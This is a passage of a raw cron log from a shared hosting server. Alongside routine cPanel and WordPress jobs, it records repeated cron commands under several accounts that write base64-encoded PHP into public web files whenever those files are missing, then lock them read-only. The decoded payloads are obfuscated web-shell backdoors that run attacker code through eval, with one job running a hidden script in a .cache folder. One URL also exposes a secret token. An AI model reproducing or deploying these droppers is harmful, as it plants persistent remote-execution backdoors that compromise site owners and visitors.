0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:26:02 medusa CROND[18417]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:26:02 medusa CROND[18418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:26:02 medusa CROND[18439]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:26:02 medusa CROND[18440]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:26:02 medusa CROND[18441]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:26:02 medusa CROND[18449]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:26:02 medusa CROND[18456]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 13:27:01 medusa CROND[1635]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 13:27:01 medusa CROND[1636]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:27:01 medusa CROND[1637]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:27:01 medusa CROND[1638]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:27:01 medusa CROND[1639]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 13:27:01 medusa CROND[1640]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:27:01 medusa CROND[1642]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:27:01 medusa CROND[1643]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:27:01 medusa CROND[1641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:27:01 medusa CROND[1649]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:27:01 medusa CROND[1653]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 13:27:01 medusa CROND[1647]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:28:02 medusa CROND[19827]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 13:28:02 medusa CROND[19970]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 13:28:02 medusa CROND[19971]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 13:28:02 medusa CROND[19972]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:28:02 medusa CROND[19973]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 13:28:02 medusa CROND[19976]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 13:28:02 medusa CROND[19977]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 13:28:02 medusa CROND[19992]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
